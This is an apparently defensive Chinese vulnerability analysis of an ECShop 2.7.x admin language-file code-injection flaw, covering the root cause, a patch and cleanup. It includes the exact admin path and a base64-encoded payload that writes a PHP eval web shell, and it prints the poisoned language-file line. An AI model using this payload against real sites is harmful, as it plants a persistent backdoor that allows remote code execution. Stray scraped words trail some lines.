目錄php
1. 漏洞描述 2. 漏洞觸發條件 3. 漏洞影響範圍 4. 漏洞代碼分析 5. 防護方法 6. 攻防思考
1. 漏洞描述html
對於不少CMS網站來講,它們都須要保存不少的網站META信息,最經常使用的最佳實踐是以變量聲明的形式保存在.php文件中,在須要的時候直接include進來,PHP File Loader會自動將引入文件中的變量註冊到當前的代碼空間中,供其餘的代碼直接引用。例如sql
1. phpmyadmin使用config/config.inc.php保存phpmyadmin的配置信息:phpmyadmin setup.php代碼注入漏洞 2. ecshop使用/languages/zh_cn/user.php保存網站的語言配置項:ecshop user.php php curl 代碼動態執行漏洞
這種將動態的變量保存在靜態的文件中,而後利用PHP File Loader的動態引用機制實現本地變量註冊的作法在爲CMS框架開發帶來方便的同時,也引入了安全風險,黑客能夠經過"模版編輯"、"後臺網站基礎描述信息編輯"、"語言項編輯"等等編輯方式,對這類文件進行修改,從而將PHP代碼注入到這些.php文件中,得到代碼執行的機會數據庫
2. 漏洞觸發條件安全
1. 訪問網站後臺 http://localhost/ecshop2.7.2/admin/ 2. 左邊導航欄 模板管理 -> 語言項管理 -> 選擇: user.php(會員中心語言包) -> 搜索: is_paid 3. 對模板文件進行編輯 插入${${fputs(fopen(base64_decode(ZnVjay5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbZnVja10pPz4))}} 4. 訪問被注入PHP代碼的文件 1) 直接訪問保存有PHP惡意代碼(髒數據)的文件 http://localhost/ecshop2.7.2/languages/zh_cn/user.php 2) 訪問user.php文件,user.php會根據當前語言配置引入(include)對應的語言項文件 http://localhost/ecshop2.7.2/user.php 5. 生成WEBSHELL http://localhost/ecshop2.7.2/languages/zh_cn/fuck.php
訪問Exploit URL框架
被注入文件中的Curl Syntax代碼得到執行,WEBSHELL文件被寫入了磁盤curl
Relevant Link:網站
http://www.wooyun.org/bugs/wooyun-2010-024714
3. 漏洞影響範圍url
ecshop 2.7.2 最新版ecshop 2.7.3 更早版本是否存在未知 ...
4. 漏洞代碼分析spa
咱們知道,這個漏洞屬於一個代碼注入漏洞 && 惡意代碼持久化致使正常文件被污染的WEBSHELL永久後門的。因此咱們分析這個漏洞要從漏洞源頭和被污染的.PHP文件兩方面入手
咱們先來分析一下代碼注入的源頭:\admin\edit_languages.php
..... /*------------------------------------------------------ */ //-- 編輯語言項 /*------------------------------------------------------ */ elseif ($_REQUEST['act'] == 'edit') { /* 語言項的路徑 */ $lang_file = isset($_POST['file_path']) ? trim($_POST['file_path']) : ''; /* 替換前的語言項 */ $src_items = !empty($_POST['item']) ? stripslashes_deep($_POST['item']) : ''; /* 修改事後的語言項 */ $dst_items = array(); $_POST['item_id'] = stripslashes_deep($_POST['item_id']); for ($i = 0; $i < count($_POST['item_id']); $i++) { /* 語言項內容若是爲空,不修改 */ if (trim($_POST['item_content'][$i]) == '') { unset($src_items[$i]); } else { $_POST['item_content'][$i] = str_replace('\\\\n', '\\n', $_POST['item_content'][$i]); /* 這行代碼是致使漏洞的關鍵 將用戶輸入的內容用雙引號("")包裹,並寫入磁盤上的文件中 這爲黑客提供向磁盤文件注入"Curl Syntax Code",並進行代碼執行提供了機會 */ $dst_items[$i] = $_POST['item_id'][$i] .' = '. '"' .$_POST['item_content'][$i]. '";'; } } ....
這裏存在的安全問題問題有如下幾個
1. edit_languages.php屬於系統的輸入邊界,是接收用戶輸入數據的地方 2. edit_languages.php沒有對用戶輸入的數據進行有效過濾、轉義,致使黑客將PHP代碼注入到user.php文件中 3. 沒有遵循"數據"、"代碼"分離的原則,user.php本質上是用來保存數據信息的,可是卻被以黑客能夠隨便訪問的.php文件的形式保存在磁盤上。要作好數據、代碼的邏輯分離,能夠採用如下2種最佳安全實踐 1) 在保存數據的文件頭部使用 ifundine then exit的防護代碼 2) 使用.txt文件擴展名保存這類保存數據的文件
edit_languages.php接收了用戶的輸入後,將修改後的信息保存在user.php中,咱們繼續來分析一下這個文件
/languages/zh_cn/user.php
$_LANG['is_paid'] = "${${fputs(fopen(base64_decode(ZnVjay5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbZnVja10pPz4))}}";
這裏的關鍵在於PHP Curl Syntax語法,在雙引號("")中的的代碼("${${....")會被PHP解釋器進行動態執行
關於PHP的這種動態代碼執行的語法的相關知識,請參閱另外的文章
http://www.cnblogs.com/LittleHann/p/3522990.html //搜索:0x10: Curly Syntax
5. 防護方法
這種複合型的注入後污染磁盤文件,進而留下永久型文件後門的漏洞,修復方案也必須採用符合的方案
0x1: 修復\admin\edit_languages.php
將保存到user.php中的字符串改成使用單引號('')包裹,在單引號模式下,PHP Curl Syntax("${${...")是沒法執行的,這能夠有效從源頭上阻止新的WEBSHELL漏洞文件的產生
..... /*------------------------------------------------------ */ //-- 編輯語言項 /*------------------------------------------------------ */ elseif ($_REQUEST['act'] == 'edit') { /* 語言項的路徑 */ $lang_file = isset($_POST['file_path']) ? trim($_POST['file_path']) : ''; /* 替換前的語言項 */ $src_items = !empty($_POST['item']) ? stripslashes_deep($_POST['item']) : ''; /* 修改事後的語言項 */ $dst_items = array(); $_POST['item_id'] = stripslashes_deep($_POST['item_id']); for ($i = 0; $i < count($_POST['item_id']); $i++) { /* 語言項內容若是爲空,不修改 */ if (trim($_POST['item_content'][$i]) == '') { unset($src_items[$i]); } else { $_POST['item_content'][$i] = str_replace('\\\\n', '\\n', $_POST['item_content'][$i]); /* 這行是patch代碼的關鍵,將本來的雙引號("")改成了單引號(''),有效地組織了代碼注入後的執行 */ $dst_items[$i] = $_POST['item_id'][$i] .' = '. '\'' .$_POST['item_content'][$i]. '\';'; } } .....
0x2: 修復/languages/zh_cn/user.php
被黑客進行代碼注入攻擊以後,這個usre.php已經成爲了一個新的後門,須要對其中的惡意代碼進行清理,即髒數據清洗
將語言模版文件中的雙引號,所有換成單引號
1. Linux
sed -i "s/\"/'/g" calendar.php sed -i "s/\"/'/g" common.php sed -i "s/\"/'/g" demo.php sed -i "s/\"/'/g" shopping_flow.php sed -i "s/\"/'/g" user.php
這種方法還須要細化,若是直接簡單地去將""替換爲'',會致使文件解析出錯
$_LANG['img_type_tips'] = '<font color='red'>小提示:</font>';
這行被咱們替換爲單引號以後,程序解析出錯了
2. Windows
暫無
6. 攻防思考
從攻防的角度上來看,ecshop的這個漏洞屬於"代碼注入(code injection)",可是和普通的sql injection的差異在於
1. 文件/模版編輯類 注入漏洞的的注入的目標對象是磁盤上的靜態php文件,而不是數據庫 2. 文件/模版編輯類 在進行代碼注入後,每每不是當即生效,而是要經過以後的訪問或者被其餘文件引入,才能執行被注入文件中的curl syntax代碼
對於這種漏洞的防護,除了採用和和sql injection相似的輸入過濾、執行過濾的代碼防護思想外,還須要解決一個"髒數據清理"的問題
文件型代碼注入的結果是黑客將攻擊代碼永久固化在了文件中(存儲在數據表字段中的代碼注入也是相似的道理),被污染的文件就被轉換爲了一個WEBSHELL後門,即成爲一個新的漏洞點,要完全解決這個問題,須要同時作到
1. 輸入過濾,將WEBSHELL PHP CODE注入的源頭堵住 2. 對已經被注入的,對保存髒數據的WEBSHELL後門文件進行清理
Copyright (c) 2014 LittleHann All rights reserved